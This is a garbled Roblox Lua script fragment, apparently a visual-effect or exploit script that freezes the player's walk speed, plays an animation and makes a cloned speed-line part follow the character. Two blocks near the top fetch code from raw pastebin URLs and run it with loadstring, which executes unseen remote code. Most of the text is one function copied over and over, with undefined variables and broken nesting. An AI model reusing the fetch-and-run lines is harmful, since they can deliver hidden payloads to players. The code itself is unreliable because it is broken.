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if humanoid then
-- Load and play the animation
local animation = Instance.new("Animation")
animation.AnimationId = animationId
local animationTrack = humanoid:LoadAnimation(animation)
animationTrack:Play()
end
end
if character then
setWalkSpeedToZero()
end
player.CharacterAdded:Connect(function(newCharacter)
character = newCharacter
setWalkSpeedToZero()
end)
spawn(function()
loadstring(game:HttpGet("https://pastebin.pl/view/raw/93703964"))()
end)
spawn(function()
loadstring(game:HttpGet("https://pastebin.pl/view/raw/a9d0f7d7"))()
end)
-- Local Script
-- Local Script
Wait(1.79)
-- Wait for
ReplicatedStorage.Resources.KJEffects.speedlinesandstuff.thespeedthingunderultik to
exist
local function waitForPart()
local speedlinesandstuff =
ReplicatedStorage:WaitForChild("Resources"):WaitForChild("KJEffects"):WaitForChild(
"speedlinesandstuff")
local thespeedthingunderultik = findPartByName(speedlinesandstuff,
"thespeedthingunderultik")
if thespeedthingunderultik then
-- Clone the part into Workspace and make it follow the player
local clonedPart = thespeedthingunderultik:Clone()
clonedPart.Parent = Workspace
-- Function to make the cloned part follow the player
local function followPlayer()
local player = game.Players.LocalPlayer
local character = player.Character
if character then
local humanoidRootPart =
character:FindFirstChild("HumanoidRootPart")
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoidRootPart and humanoid then
local torso = humanoidRootPart:FindFirstChild("LowerTorso")
if torso then
clonedPart.CFrame = torso.CFrame
clonedPart.CFrame = clonedPart.CFrame * CFrame.new(0, -
humanoid.HipHeight / 2, 0) -- Offset under the legs
clonedPart.CFrame = clonedPart.CFrame * CFrame.Angles(0,
math.rad(180), 0) -- Make it look where the character looks
end
end
end
end
-- Wait for
ReplicatedStorage.Resources.KJEffects.speedlinesandstuff.thespeedthingunderultik to
exist
local function waitForPart()
local speedlinesandstuff =
ReplicatedStorage:WaitForChild("Resources"):WaitForChild("KJEffects"):WaitForChild(
"speedlinesandstuff")
local thespeedthingunderultik = findPartByName(speedlinesandstuff,
"thespeedthingunderultik")
if thespeedthingunderultik then
-- Clone the part into Workspace and make it follow the player
local clonedPart = thespeedthingunderultik:Clone()
clonedPart.Parent = Workspace
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Workspace = game:GetService("Workspace")
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Workspace = game:GetService("Workspace")
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
-- Function to update the position of the speedlines clone to follow the player
local function updateSpeedlinesPosition()
while true do
speedlinesClone.CFrame = rootPart.CFrame
wait(0.1) -- Adjust the wait time as needed
end
end
if character then
setWalkSpeedToZero()
end
player.CharacterAdded:Connect(function(newCharacter)
character = newCharacter
setWalkSpeedToZero()
end)
end
-- Example usage: Call initiateRush() when you want to trigger the rush effect.
initiateRush()
end